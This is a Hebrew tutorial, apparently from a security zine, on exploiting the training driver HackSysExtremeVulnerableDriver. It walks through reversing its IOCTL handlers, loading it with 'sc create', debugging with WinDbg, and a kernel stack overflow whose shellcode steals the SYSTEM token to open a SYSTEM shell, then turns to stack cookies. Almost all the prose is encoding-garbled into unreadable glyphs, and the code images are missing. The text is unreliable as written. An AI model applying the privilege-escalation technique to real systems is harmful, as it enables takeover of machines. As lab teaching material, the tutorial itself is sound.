 ˧˦˯˧˪˞˧˶ ˟˴ˬ ˸ˣˬˡ˪ ˸ˣ˯ˮ˪ ˪˧˟˷˟ ˣˮ˸ˡˣ˟˰ ˨˪ˢˬ˟ ˣ˟ ˷ˬ˸˷ˮ ˞˪ ,ˣˮ˪ ˷˧ˠˮ ˶˟˧˧˶ˡˢ ˪˷ ˡˣ˵ˢ˷ ˸ˣ˶ˬ˪

˟ ˶ˤ˰˧ˮ .˶˸ˣ˧-PDB˞ˬˢ ˱ˣ˯˟ . ˢˣˣˢˬ ˞˧ˢˣ ,˶ˬ˞ˬˢ ˶ˣ˟˰ ˧˸˥˸˧˲˷ ˸˧ˮ˩˸ ˸ˡ˶ˣˢ˪ ˶ˣ˷˧˵ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˶ˬ

˟ ˸ˣˬ˧˧˵˷ ˸ˣ˷˪ˣ˥ˢˬ ˸˥˞ ˪˩ ˸˞ ˪˴ˮ˪ ˸˶˷˲˞ˬˣ ˶ˬ˞ˬ˟ ˣˠ˴ˣ˧˷ ˪ˣ˴˧ˮˢ ˸ˣ˦˧˷ ˪˩ ˸˧˴ˬ˸ ˸˞-HEVD. 

˸˧ˮˣ˷˞˶ ˢ˶˧˵˯ 

ˢ ˸˯˶ˠ ˪˷ ˢ˧˧˵˧˸˟ .˶˟˧˧˶ˡˢ ˪˷ ˢˤ˧˶ˤ ˸˧ˮˣ˷˞˶ ˢ˶˧˵˯ ˰˴˟ˮ-32bit  ˞ˣ˴ˬ˪ ˭˸˧ˮ ,˰˧ˠ˲ˢ ˶˟˧˧˶ˡˢ ˪˷2 

 :˫˧˴˟˵HEVD.pdb x-HEVD.sys ˳˟ˣ˵ ,˶˟˰˟ ˣˮ˶ˬ˞˷ ˧˲˩ ..sys  ˳˟ˣ˵ˣ ,˶˟˧˧˶ˡ ˞ˣˢ.pdb  ˳˟ˣ˵ ˞ˣˢ

 ˸˞ ˭˰˦ˮ .˫˧˪ˣ˟ˬ˧˯HEVD.sys ˟ ˧˸˶˥˟ ˸˧˷˧˞) ˣˮ˧˪˰ ˟ˣˢ˞ˢ ˶˪˟ˬ˯˞˯˧ˡˢ ˨ˣ˸˪-IDA ˭˩ˣ˸ˢ ˸˞ ˭˥˟ˮˣ ,(
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˟ ˫˧˧˵˷-DriverEntry ˩ ˷ˬ˷ˬ˷)-main ˞ˬ ˪˵ ˣˮ˪ ˢ˧ˢ˧ ,˫˧˪ˣ˟ˬ˧˯ˢ ˸ˣ˩ˤ˟ .(˶˟˧˧˶ˡˢ ˪˷ ˸˞ ˭˧˟ˢ˪ ˡˣ

ˢ ˸˞ ˭˥˟ˮ .˭˩ˣ˸ˢ-DriverEntry ˢ ˸ˠˣ˴˸˟-pseudocode: 

 

 ˫˷˟ ˷ˡ˥ ˭˵˸ˢ ˶˴ˣ˧ ˶˟˧˧˶ˡˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ ,˪˧˰˪ ˠ˴ˣˬˢ ˵˪˥ˢˬHackSysExtremeVulnerableDriver .

 ˶˲˯ˬ ˫˧˶ˡˠˣˬ ,˭˩ ˣˬ˩ .ˣ˸˧˞ ˶˷˵˸˪ ˡ˴˧˩ ˭˧˟ˮ˷ ˸ˮˬ ˪˰ ˣˮ˪ ˟ˣ˷˥ ˢˤˢ ˫˷ˢdispatchers  ˫˧ˮˣ˷

 ˸ˣ˷˵˟˪I/O  .˸ˣˮˣ˷˟ ˸ˣ˧˴˵ˮˣ˲ ˸ˣ˟ˣ˸˩ ˸˟˴ˢ ˸ˣ˰˴ˬ˞˟ ˸˧˷˰ˮ ˢ˶ˡˠˢˢ-DriverObject-

>MajorFunctionˢ .-dispatcher ˢ ˞ˣˢ ˣˮ˸ˣ˞ ˭˧˧ˮ˰ˬ˷ ˡ˧˥˧ˢ-dispatcher  ˸˷˵˟ ˪˷IOCTL :

IrpDeviceIoCtlHandler ˟ ˡˣ˵ˢ ˶˞˷ .(˫˧˪ˣ˟ˬ˧˯ˢ ˸ˣ˩ˤ˟ ˢˡˣ˸ˬˢ ˪˷ ˫˷ˢ ˸˞ ˣˮ˪ ˷˧)-DriverEntry  ˞˪

.˭˧˧ˮ˰ˬ 

ˬ ˰˦˵ˬ ˭˥˟ˮ-IrpDeviceIoCtlHandler : 
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ˢ ˸˞ ˫˧ˣˣ˷ˬ ,˸ˣ˵ˬ˰˸ˢ ˢˣˣ˷˷ ˡ˥ˣ˧ˬ ˣˢ˷ˬ ˭˞˩ ˷˧˷ ˢ˞˶ˮ ˞˪-IOCTL code  ˢˤ ˧˲˪ˣ ˫˧ˮˣ˷ ˫˧˩˶˰˪

˪ ˫˧˴˲ˣ˵-IOCTLs ˟ ˸ˣ˞˶˪ ˫˧˲˴ˬ ˣˮ˧˧ˢ˷ ˧˲˩ ˵ˣ˧ˡ˟ ,˫˧ˮˣ˷-dispatcher  ˸˷˵˟˪I/O Control ,˭˩ ˣˬ˩ .

) ˠˣ˟˧ˡ ˸ˣ˯˲ˡˢ ˪˷ ˪˪˷ ˷˧˷ ˸ˣ˞˶˪ ˭˸˧ˮDbgPrintˢ ˪˷ ˸ˣˬ˷ˢ˷ˣ ,(-I/O Controls  ˫˧˧˟˧˦˵˧ˡˮ˧˞ ˡˣ˞ˬ- 

˪ ˵˧˥˶ˢ˪ ˨˧˶˴ ˞˪˩˟ ˞˴ˬ˸˷ ˢ˷˪ˣ˥ˢ ˢˬ ˭˧˟ˢ˪ ˪˧˟˷˟ ˸-IOCTL  ˶˟˧˧˶ˡˢ ˟˸ˣ˩˷ ˸ˣ˧ˢ˪ ˪ˣ˩˧˷ ˭˟ˣˬ˩)

 ˸˷˵˟˟ ˪ˣ˲˧˦ ˸˧˧˴˵ˮˣ˲ ˭˥˟ˮ .(˭˞˩ ˟˴ˬˢ ˨˩ ˞˪ ˪˟˞ ,ˣˮ˸ˣ˞ ˪˟˪˟˪ ˢ˯ˮˬIOCTL  ˪˷StackOverflow: 

 

˩ˬ ˶˥˞˪ˣ ,˧ˢ˷˪˩ ˢ˵˧ˡ˟ ˸˰˴˟ˬ ˞˧ˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ ˫˷˟ ˸˧ˬ˧ˮ˲ ˢ˧˴˵ˮˣ˲˪ ˸˞˶ˣ˵ ˭

ά¢ǊƛƎƎŜǊ{ǘŀŎƪhǾŜǊŦƭƻǿέ ˸˷˪ˣ˥ ˸ˬ˧˧˵ ˸ˬ˞˟ ˣˤˢ ˢ˧˴˵ˮˣ˲˟˷ ˢ˞˶ˮ˩ .Stack Overflow ˢ˶˴˵ ˢˮ˧˥˟ˬ .

ˢ ˶˞˷ ˪˷-handlersˢ :ˢˮ˟ˬ ˣ˸ˣ˞ ˸˞ ˫˧˵˪ˣ˥ ˫˪ˣ˩˷ ˸ˣ˞˶˪ ˭˸˧ˮ ,-dispatcher  ˸ˣ˷˵˟˪IOCTL  ˞˶ˣ˵

 ˠˣ˯ˬ ˢ˧˴˵ˮˣ˲˪XxIoctlHandler˥˞˪ˣ ˸˥˞ ˢ˵˧ˡ˟ ˸˰˴˟ˬ˷ ,˪ ˸˞˶ˣ˵ ˭˩ˬ ˶-TriggerXx ˸ˬ˞˟ ˢ˟˷ ,

.ˢ˷˪ˣ˥ˢ ˸˞˴ˬˮ 

ˢ ˸ˣ˧˴˵ˮˣ˲ ˪˷ ˢˮ˧˥˟ˬ-Trigger  ˪˷ ˵ˣ˪˟˟ ˸ˣ˲ˣ˦˰ ˭˪ˣ˩˷ ˸ˣ˞˶˪ ˭˸˧ˮ ,˸ˣˮˣ˷ˢ__try-__except ˨˷ˬˢ˟ .

ˣˮ˸˟ˣ˦˪ ˢˤ ˸˞ ˪˴ˮ˪ ˭˸˧ˮ ˡ˴˧˩ ˢ˞˶ˮ: 

 

ˢ˷ ˣˮ˟ˢ ,ˢ˩ ˡ˰ ˣˮ˲˯˞˷ ˰ˡ˧ˬˢ ˨ˬ˯ ˪˰-device  ˠ˧˷ˢ˪ ˢ˴˶ˮ ˣ˧˪˞handle  ˫˰CreateFile  ˞ˣˢ

HackSysExtremeVulnerableDriverˢ ˢˬ ˣˮ˟ˢ ˭˩ˣ ,-IOCTL codes  .˪˴ˮ˪ ˢ˴˶ˮ˷ ˢ˷˪ˣ˥ ˪˩˪ ˫˧˧˦ˮˣˣ˪˶ˢ

 ˸˥˲˷ˬˬ ˸ˣ˧˴˵ˮˣ˲ˢ ˭ˢ ˣˮ˸ˣ˞ ˸ˣˮ˧˧ˮ˰ˬ˷ ˸ˣ˶˦ˬˢ˷ ˣˮ˟ˢ ,˭˩ ˣˬ˩TriggerXx ˪˩ˣˮ ,ˢˤˢ ˰ˡ˧ˬˢ ˯˧˯˟ ˪˰ .

.˶˟˧˧˶ˡˢ ˫˰ ˶˷˵˸˪ ˣˮ˪ ˣ˶ˤ˰˧˷ ˸ˣ˧˴˵ˮˣ˲ ˫ˣ˷˶˪ 

ˣ˷˰˪ ˣˮ˪ ˶˸ˣˮ˷ ˡ˧˥˧ˢ ˶˟ˡˢ ˸˧˪˞ˣ˦˶˧ˣˢ ˢˮˣ˩ˬ˪ ˶˟˧˧˶ˡˢ ˸˞ ˵˧˸˰ˮ .˶˟˧˧˶ˡˢ ˸˞ ˭ˣ˰˦˪ˣ ˭˧˵˸ˢ˪ ˞ˣˢ ˸

ˢ ˸ˣ˰˴ˬ˞˟ ˢ˞˟ˢ ˢˡˣ˵˲ˢ ˸˞ ˳˧˶ˮˣ ,ˣˮ˪˷-cmd  ˸ˣ˞˷˶ˢ˟Administrator: 

sc create HEVD type= kernel start= demand binpath= 

"<path_to_driver_directory> \ HEVD.sys" 

ˤ˰˟ ˶˟˧˧˶ˡˢ ˸˞ ˪˧˰˲ˢ˪ ˪˩ˣˮ ,˭˩ˬ ˶˥˞˪ ˸˴˶ˢ ˸˶άǎŎ ǎǘŀǊǘ I9±5έ ˷ˬ˸˷ˮ ,ˣ˸ˣ˞ ˶ˣ˴˰˪ ˢ˴˶ˮˣ ˢˡ˧ˬ˟ .

-˟"sc stop HEVD˟ ˶ˤ˰˧ˢ˪ ˪˩ˣˮ ."-DbgView ˬ-SysInternals  ˶˟˧˧˶ˡˢ˷ ˠ˞˟˧ˡ ˸ˣ˰ˡˣˢ ˸ˣ˞˶˪ ˸ˮˬ ˪˰
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 ˳˧˶ˮ ,˸˞ˤ ˸ˣ˷˰˪ ˸ˮˬ ˪˰ .˭˧˵˸ ˭˲ˣ˞˟ ˢ˪˰ ˞ˣˢ˷ ˸ˣ˞ˡˣˣ˟ ˰ˡˮ ˨˩ˣ ,˯˧˲ˡˬDbgView ˩-Administrator ,

 ˳˥˪ˮˣCtrl+K ˸ˮˬ ˪˰ " ˸ˣ˶˷˲˞ˢ ˸˞ ˪˧˰˲ˢ˪Capture Kernel ˸˧ˮˣ˷˪ˢ ˸˥˸ ˞ˣ˴ˬ˪ ˭˸˧ˮ˷) "

ά/ŀǇǘǳǊŜέ ˥˸˲ˮ ,ˢ˷˥ˬˢ ˨˶ˣ˴˪ .(DbgView:ˣ˸ˣ˞ ˶ˣ˴˰ˮ ˭˩ˬ ˶˥˞˪ˣ ˶˟˧˧˶ˡˢ ˸˞ ˪˧˰˲ˮ , 

 

 ˥ˣ˪˷˪ ˢ˯ˮˮ ,˨˩ ˫˷˪ .˸˧ˮ˵˸ ˢ˶ˣ˴˟ ˶˟˧˧˶ˡˢ ˫˰ ˶˷˵˸˪ ˫˧˥˧˪˴ˬ ˣˮ˞˷ ˭ˣ˥˟˪ ˞ˣˢ ˭ˣ˶˥˞ˢ ˟˪˷ˢ

 ˸˷˵˟IOCTL  ˸˴˶ˢ˪ ˫ˣ˶ˠ˸˷TriggerStackOverflow˷ ˞ˡˣˣˮ ˸˧˷˞˶ ,˸˞ˤ ˸ˣ˷˰˪ ˸ˮˬ ˪˰ .-WinDbg 

ˢ ˳˟ˣ˵˪ ˸˷ˠ˪ ˪ˣ˩˧-PDB  ˪˷HEVD.sysˢ ˳˟ˣ˵ ˪˷ ˟˧˸ˮˢ ˸˲˯ˣˢ ˧ˡ˧ ˪˰ ˸˞ˤ ˸ˣ˷˰˪ ˭˸˧ˮ .-PDB  ˧˟˧˸ˮ˪

˷ ˫˧˪ˣ˟ˬ˧˯ˢ-WinDbg ˢ ˳˟ˣ˵ ˫ˣ˵˧ˬ ˧ˡ˧ ˪˰ ˣ˞ ,˫ˢ˟ ˷˲˥ˬ-PDB  ˭˸˧ˮ) ˣ˪ ˢ˲˴ˬ ˧˶˞ˮ˧˟ˢ ˶˷˞ ˫ˣ˵˧ˬ˟

 ˸˴˶ˢ ˧ˡ˧ ˪˰ ˣ˸ˣ˞ ˞ˣ˴ˬ˪άǎǘǊƛƴƎǎ I9±5Φǎȅǎ μ ŦƛƴŘǎǘǊ I9±5έ˷ ˧˶˥˞ .(-WinDbg  ,˫˧˪ˣ˟ˬ˧˯ˢ ˸˞ ˭˰˦˧

˟ ˢ˶˧˴˰ ˸ˡˣ˵ˮ ˫˵ˬˮ-TriggerStackOverflow " ˸˴˶ˢ ˸˶ˤ˰˟bp HEVD!TriggerStackOverflow ˶˥˞˪ ,"

 ˸˶ˤ˰˟ ˢ˴˶ˢˢ ˸˞ ˨˧˷ˬˮ ˭˩ˬg˪ ˢ˸ˣ˞ ˢ˪˰ˮ ,ˣˮ˪˷ ˸˶ˣ˷˵˸ˢ ˸ˮ˩ˣ˸ ˸˞ ˪˲ˬ˵ˮ .-guest  .ˢ˸ˣ˞ ˳˧˶ˮˣ

˰˴˟˸ˢ ˪˩ˢ ˫˞  ,ˢ˶ˣ˷˩WinDbg :ˢ˴˧˶ˢ ˸˞ ˶ˣ˴˰˪ˣ ˢ˰˧ˠˢ ˢ˶˧˴˰ˢ ˸ˡˣ˵ˮ˷ ˨˩ ˪˰ ˣˮ˪ ˥ˣˣˡ˪ ˶ˣˬ˞ 

 

 ˶˟˧˧˶ˡˢ ˸˞ ˠ˟ˡ˪ ˫˧˪ˠˣ˯ˬ ˣˮ˞ .ˣ˪˷ ˧˪˪˩ˢ ˢˮ˟ˬˢ ˸˞ ˣˮ˟ˢˣ ˶˟˧˧˶ˡˢ ˫˰ ˶˷˵˸˪ ˫˧˰ˡˣ˧ ˣˮ˞ ,ˢˤ ˟˪˷˟

ˢˬ-host˟ ˣ˸ˣ˞ ˳˧˶ˢ˪ˣ ,-guest˧˧˶ˡ˟ ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮˣ ˢ˞˧˴ˬ ˟˧˟˯ ˢ˧ˢ˸ ˣˮ˸ˡˣ˟˰ ˶˵˧˰ ,ˢ˞˪ˢˣ ˭˞˩ˬ . .˶˟

˟ ˪˧˥˸ˮ-Stack Overflow  ˫ˬ˥˸ˢ˪ ˪˧˟˷˟ ˧˯˞˪˵J . 
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Stack Overflow 

 ˪˰ ˶˟ˡ˪ ˧˪˟ˬ ˸ˣ˷˪ˣ˥ ˪˰ ˶˟ˡ˪ ˶˷˲˞ ˧˞Stack Overflows ˫˰ ˸˧˯˧˯˟ ˸ˣ˶˩˧ˢ ˷˧ ˫˧˞˶ˣ˵˪˷ ˥˧ˮˬ ˧ˮ˞ .

 ˭ˣ˧˰˶ˢ .ˢˤ ˠˣ˯ˬ ˸ˣ˷˪ˣ˥ ˧˶ˣ˥˞ˬ ˡˬˣ˰˷ ˭ˣ˶˵˧˰ˢ ˸˞ ˵ˬˣ˰˪ ˶ˣ˵˯˞ ˞˪ ˭˩˪ˣ ,˫˧˧˶˞ˮ˧˟ ˫˧˴˟˵˟ ˸ˣ˷˪ˣ˥

ˣ˷˲ ˞ˣˢ ˢ˴˵ˣˬ :˦buffer ˸ˣˬ˧ˣ˯ˬ ˸ˣ˟˧˯ˬ ,˸˧ˮ˯˥ˬˢ ˪˰ ˣˢ˷˪˩  ˨ˣ˸˪ ˫ˣ˷˶˪ ˭˸˧ˮ-sbuffer  ˦˪˵

ˢ ˱ˣ˯ ˡ˰ ˶˲˞˟ˢ ˸ˣ˪ˣ˟ˠ˪ ˶˟˰ˬ ˫ˣ˷˶˪ ˭˸˧ˮ ˨˩ˣ ,˶˲˞˟ˢˬ ˶˸ˣ˧ ˪ˣˡˠ˷ ˣ˟ ˦˪ˣ˷ ˷ˬ˸˷ˬˢ˷-frame 

 ˪˰ ˞˧ˢ ˫ˠ ˸˟˷ˣ˧˷ ,ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ˸˞ ˫˧˯˶ˣˡ ˤ˞ˣ ,˸˧˥˩ˣˮˢ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˸˧ˮ˯˥ˬ˟

 ,˸˧ˮ˯˥ˬˢ.˳ˣ˲˵˪ ˢ˴˶ˮ ˢ˧˪˞ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩˟ 

 ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˭˥˟ˮTriggerStackOverflow˟ ˳ˣ˶˸ ,ˣˮ˟ˢ˷ ˧˲˩ ,˶˷˞ ,-Kernel-Mode ˪ ˞˶˵ˮ˷ ˸˰-

DeviceIoControl  ˢ ˡˣ˵ ˫˰-IOCTL  ˪˷StackOverflow: 

 

 ˶˲˞˟ˢˬ ˰ˡ˧ˬ ˢ˵˧˸˰ˬ ˭˩ˬ ˶˥˞˪ˣ ,˸˧ˮ˯˥ˬˢ ˪˰ ˶˲˞˟ ˢ˴˵ˬ ˢ˧˴˵ˮˣ˲ˢ˷ ˢ˞˶ˮUserBuffer  ˞ˣˢ˷)

 ˶˲˞˟ˢ˪ ˦˪˵ ˶˲˞˟˩ ˣˮ˶˟˰ˢ˷-DeviceIoControl ˸ˣ˰˴ˬ˞˟ ,˸˧ˮ˯˥ˬˢ ˪˰ ˢ˴˵ˣˬ˷ ˶˲˞˟ˢ ˨ˣ˸ ˪˞ (

memcpy . 

 ˢ˧˴˵ˮˣ˲ˢmemcpy ˟ ˫˧˷ˬ˸˷ˬ ˢˤˢ ˢ˶˵ˬ˟ ,˵˧˸˰ˢ˪ ˢ˴˶ˮ˷ ˫˧˸˟ˢ ˸ˣˬ˩ ˸˞ ˫ˠ ˦˪˵˩ ˪˟˵ˬ-Size 

˟ ˫ˠ˷ ,˞˧ˢ ˢ˷˪ˣ˥ˢ .˫˧˸˟ˢ ˸ˣˬ˩ ˸˞ ˭˧˧˴˪ ˪˧˟˷˟-Size ˵ˢ ˨˶ˣ˞˩ ˣˮ˶˟˰ˢ˷ ˪ˡˣˠˢ ˣˢˤ ,˫˧˦˪ˣ˷ ˣˮ˞ ˦˪

˪ ˣˮ˞˶˵˷˩-DeviceIoControl ˪ˣ˟ˠ ˸˞ ˢ˴ˣ˥˷ ˶˲˞˟ ˵˧˸˰ˢ˪ ˪˩ˣˮ ,ˣˤ ˢ˷˪ˣ˥ ˸˶ˤ˰˟ !KernelBuffer ,

˟ ˳˶˷ ˡˣ˵ ˪˰ ˦˪˸˷ˢ˪ ˨˩ˣ ,ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ˸˞ ˯ˣ˶ˡ˪ˣ-Kernel-Modeˢ ˸˞ ˳˧˶ˢ˪ˣ ,-

shellcode .ˣˮ˪˷ 

˟ ˸ˣˮˮˣ˟˸ˢˬ-stack frame ˷ ˢ˪ˠˮ ,ˢ˧˴˵ˮˣ˲ˢ ˪˷-KernelBuffer ˶ˬ˟ ˞˴ˬˮ ˵˥0x81c  ˯˧˯˟ˬ ˫˧˸˟

 ˵˥˶ˬ˟ˣ ,˸˧ˮ˯˥ˬˢ0x820  ˸ˣ˞˟ ˸ˮˬˣ˯ˬ) ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ˬ ˫˧˸˟r.(   
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 ˨˶ˣ˞˟ ˶˲˞˟ ˵˲˯˪ ˞ˣˢ ,˸ˣ˷˰˪ ˣˮ˧˪˰˷ ˪˩0x824 ˷ ˨˩ ,˫˧˸˟-0x820  ,˫˧˟ˣ˷˥ ˞˪ ˫˧ˮˣ˷˞˶ˢ ˫˧˸˟ˢ

˟ˣ-4 ˳ˣ˲˵˪ ˢ˴˶ˮ ˢ˧˪˞ ˸˟ˣ˸˩ˢ ˸˞ ˫˵ˬˮ ˫˧ˮˣ˶˥˞ˢ ˫˧˸˟ˢ: 

 

 ˳ˣ˲˵˪ ˢ˴˶ˮ ˢ˧˪˞ ˸˟ˣ˸˩ˢˢ ˪˷ ˸˟ˣ˸˩ˢ ˢ˧ˢ˸-shellcode ˪ ˫˧˞˸ˬ ˫ˣ˵ˬ ˞ˣ˴ˬ˪˟ ˧˷ˣ˵ ˣˮ˪ ˭˧˞ .ˣˮ˪˷-

shellcode˟ ˣ˸ˣ˞ ˫˵ˬ˪ ˵˧˲˯ˬ :-User-Mode ˟ ˣ˧˪˞ ˳ˣ˲˵˪ ˪˩ˣˮˣ-Kernel-Mode  ˭˧˞˷ ˭ˣˣ˧˩ˬSMEP 

 .ˢˮˣ˩ˬ˟ ˣˮ˪˷ ˸˧ˮ˩˸ˢ ˸˞ ˳˧˶ˮˣ ˣ˪˪ˢ ˫˧ˡ˰˴ˢ ˪˩ ˸˞ ˰˴˟ˮ .(ˣˤˢ ˢˮˠˢˢ ˪˰ ˢ˶˴˵˟ ˶˧˟˯ˮ ˶ˬ˞ˬˢ ˱ˣ˯˟)

ˢ ˸˪˧˥˸˟-shellcode ˢˡˣ˵˲ˢ ˸˞ ˫ˣ˷˶ˮ ,άƛƴǘ оέ˷ ˸ˮˬ ˪˰ ,-WinDbg ˢ ˸˴˶ˢ ˸˰˟ ˢ˴˶ˢˢ ˸˞ ˶ˣ˴˰˧-

shellcodeˡ˟ˣ˰ ˸ˬ˞˟ ˣˮ˪˷ ˦˧ˣ˪˲˯˵˞ˢ ˫˞ ˰ˡˮ ˨˩ .: 

 

ˢ ˸˴˧˶˪ ˸˸˪ ˞ˣˢ ˸ˣ˷˰˪ ˶˸ˣˮ˷ ˪˩ ,ˢ˶ˣ˞˩˪ !ˡ˟ˣ˰ ˣˮ˪˷ ˦˧ˣ˪˲˯˵˞ˢ ,ˢ˪ˣ˰ˬ-shellcode  ,˫˧˧˸˯ˢ˪ ˣˮ˪˷

 ˸ˣ˞˷˶ˢ ˪˟˵˧ ˣˮ˪˷ ˨˧˪ˢ˸ˢˣSYSTEMˡ ˞˪ ˪˟˞ ,ˢ ˸˞ ˣˮ˟˸˩˷˩ ˣˮ˧˧˴˷ ˧˲˩ .˨˩˟ ˧-shellcode ˶˥˞˪ ,

ˢ ˸˞ ˣˮ˟ˮˠ˷-Access Token ˞ˡˣˣ˪ ˣˮ˧˪˰ ,˨˩ ˫˷˪ .ˢ˪˧ˠ˶ ˢ˴˧˶˪ ˸˶ˤˣ˥ ˸˧ˮ˩˸ˢ˷ ˞ˡˣˣ˪ ˣˮ˧˪˰ ,

 ˞ˡˣˣ˪ˣ ˭˧˵˸ ˨˶˰ ˶˧ˤ˥ˮ˷ ˞ˡˣˣ˪ ,(˸˧ˮ˯˥ˬˢ ˪˰ ˫ˣ˵ˬ˟ ˣˮ˷ˬ˸˷ˢˣ ˢˡ˧ˬ˟) ˷ˡ˥ˬ ˸˶˷ˣ˧ˬ ˸˧ˮ˯˥ˬˢ˷

˧˰˴˟˸ˬ ˣ˧ˢ˷ "˸ˣˮˣ˧˵ˮ"ˢ ˪˩ ˸˞ ˫˧˷ˣ˰ ˣˮ˞˷˟ ˫-prologue  ˸˞ ˣˮ˯˶ˡ˷ ˨˩˟) "ˣˮ˟ˮˠ"˷ ˢ˧˴˵ˮˣ˲ˢ ˪˷

 ˢ˧˴˵ˮˣ˲˪ .(ˢ˶ˤ˥ˢ ˸˟ˣ˸˩TriggerStackOverflow  ˢ˧˴˵ˮˣ˲ˢ ˸˞˶ˣ˵StackOverflowIoctlHandler . 

˟ ˭ˮˣ˟˸ˮ-prologue  :ˢ˧˴˵ˮˣ˲ˢ ˪˷ 

 

ˢ ˱ˣ˯˪ ˣ˪˪ˢ ˸ˣˡˣ˵˲ˢ ˸˞ ˵˧˸˰ˮ-shellcode  ˢˡˣ˵˲ˢ ˸˞ ˫˵ˬˮ ˭ˢ˧ˮ˲˪ˣ ,ˣˮ˪˷xor eax, eax ˮˬ ˪˰ ˸

ˬ ˶ˤˣ˥˷ ˨˶˰ˢ ˸˞ ˢ˶˧ˤ˥ˬ ˢ˧˴˵ˮˣ˲ˢ) ˢ˧˴˵ˮˣ˲ˢˬ ˢ˲ˣ˴ˬˢ ˢ˶ˤ˥ˢ ˨˶˰ ˸˞ ˸ˣˬˡ˪-

TriggerStackOverflow ˞ˣˢ ˢˤˢ ˨˶˰ˢˣ ,0ˢ ˸˞ ˟ˣ˷ ˳˧˶ˮ .(-exploit  ˨˩ ˣˮ˪˷ ˸˧ˮ˩˸ˢ ˸˞ ˭˩ˡ˰ˮˣ ,ˣˮ˪˷

 ˥ˣ˸˲˪ ˢ˯ˮ˸˷cmd ˢ ˸˷˵˟ ˶˥˞˪-IOCTL .ˣˮ˪˷ ˸ˣ˞˷˶ˢˢ ˸˞ ˸ˣ˥ˣˮ˟ ˵ˣˡ˟˪ ˪˩ˣˮ˷ ˸ˮˬ ˪˰ , 
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:ˢ˞˴ˣ˸ˢ 

 

.x..SYSTEM J .ˢ˞˪ˢ ˨˧˷ˬˮ ,ˡˬ˥ˮ ˫ˣˬ˧˥ 

Stack Overflow GS 

˟ ˡ˵ˬ˸ˮ ,˫˰˲ˢ-IOCTL ˪ ˞˶ˣ˵˷-TriggerStackOveflowGSˢ ˭ˣ˪˥˟ ˢ˧˵ˮˣ˲˟ ˧ˮˣ˷˞˶ ˦˟ˬˬ .-

Pseudocode˪ ˭˧˦ˣ˪˥˪ ˢˢˤ ˦˰ˬ˩ ˞˧ˢ˷ ˢ˞˶ˮ ,-TriggerStackOverflow : 

 

 ,˫˰˲ˢ ˧˩ ˢ˞˶ˮ ,˸˧ˮ˯˥ˬˢ ˪˰ ˦˟ˬˬKernelBuffer  ˵˥˶ˬ˟ ˫˵ˣˬˬ0x21c  ˵˥˶ˬ˟ˣ ,˸˧ˮ˯˥ˬˢ ˸˧˷˞˶ˬ

 ˡˣ˰ ˪˷4 ˢ ˶ˣ˟˰ ˣˮ˷ˬ˸˷ˢ ˢ˟ ˢ˦˧˷˪ ˢˢˤ ˢ˦˧˷˟ ˪ˣ˰˲˪ ˢ˯ˮˮ .ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ˬ ˫˧˸˟-

IOCTL  ˢˡˣ˵˲˪ ˳ˣ˲˵˪ ˶˟˧˧˶ˡ˪ ˫ˣ˶ˠ˪ ˢ˯ˮˮˣ ,˫ˡˣ˵ˢάƛƴǘ оέ  ˪˟˵ˮ ...ˣBlue screen . 

 ˳˧˶ˮ˷˩!analyze -v˟ ˣˮ˪ ˠ˴ˣ˸ ˢ˞˟ˢ ˢ˰ˡˣˢˢ ,-WinDbg :ˢ˞˧ˠ˷ˢ ˸ˣˡˣ˞ 

 

 ˰˴˟˪ ˣˮ˥˪˴ˢ ˫ˮˬˣ˞buffer overflow˦ˣ˷˲ ?ˡ˴˧˩ .ˣ˸ˣ˞ ˸ˣˢˤ˪ ˢ˥˧˪˴ˢ ˸˩˶˰ˬˢ ˪˟˞ ,: Stack Cookies .

 ,˧˪˷ ˫ˡˣ˵ˢ ˶ˬ˞ˬˢ ˸˞ ˞˶˵˷ ˧ˬPwning ELFs for Fun and Profitˢ ˸˞ ˸ˣˢˤ˪ ˶ˣˬ˞ , ˞ˣˢ ˭ˣ˧˰˶ˢ .˞˷ˣˮ

 ˧ˮ˲˪ˣ ,ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢ˶ˤ˥ˢ ˸˟ˣ˸˩ ˧ˮ˲˪ ˨˞ ˶˲˞˟ˢ ˶˥˞˪ ,˸˧ˮ˯˥ˬˢ ˪˰ ˫˧ˣ˯ˬ ˨˶ˣ˞˟ "ˢ˧˧ˠˣ˰" ˫˵ˬ˪

 ˸ˣˬ˷ ˶˲˯ˬ ˣ˪˪ˢ ˸ˣ˧ˠˣ˰˪ .˶ˬ˷ˮ ˨˶˰ˢ˷ ˢ˵˧ˡ˟ ˰˴˟˪ ˢ˶ˤ˥ˢ- Stack Cookies, Stack Canaries, /GS 

Cookies ˟ ˸ˣ˧ˠˣ˰ˢ ˧ˣ˟˧˩/˸˪˰˲ˢ˪ ˢ˧˴˲ˣ˞ˢ ˫˷ ˪˰ ˞ˣˢ ˭ˣ˶˥˞ˢ)-Visual C++ compiler  ,˦˲ˣ˯ˣ˶˵˧˧ˬ ˪˷

https://www.digitalwhisper.co.il/files/Zines/0x58/DW88-5-PwningEFLs.pdf
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˟ ˪˟˞ .(ˢ˧˴˵ˮˣ˲ˢ ˢ˞˶˵ˮ ˣˬ˷ ˪˰ˣ-pseudocode ˪ ˶ˣˤ˥ˮ !˸˞ˤ˩ ˢ˵˧ˡ˟ ˫ˣ˷ ˣˮ˧˞˶ ˞˪-IDA view  ˭ˮˣ˟˸ˮˣ

:ˢ˧˴˵ˮˣ˲ˢ ˱ˣ˯˟ 

 

 ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˭˥˟ˮ__SEH_epilog4_GS: 

 

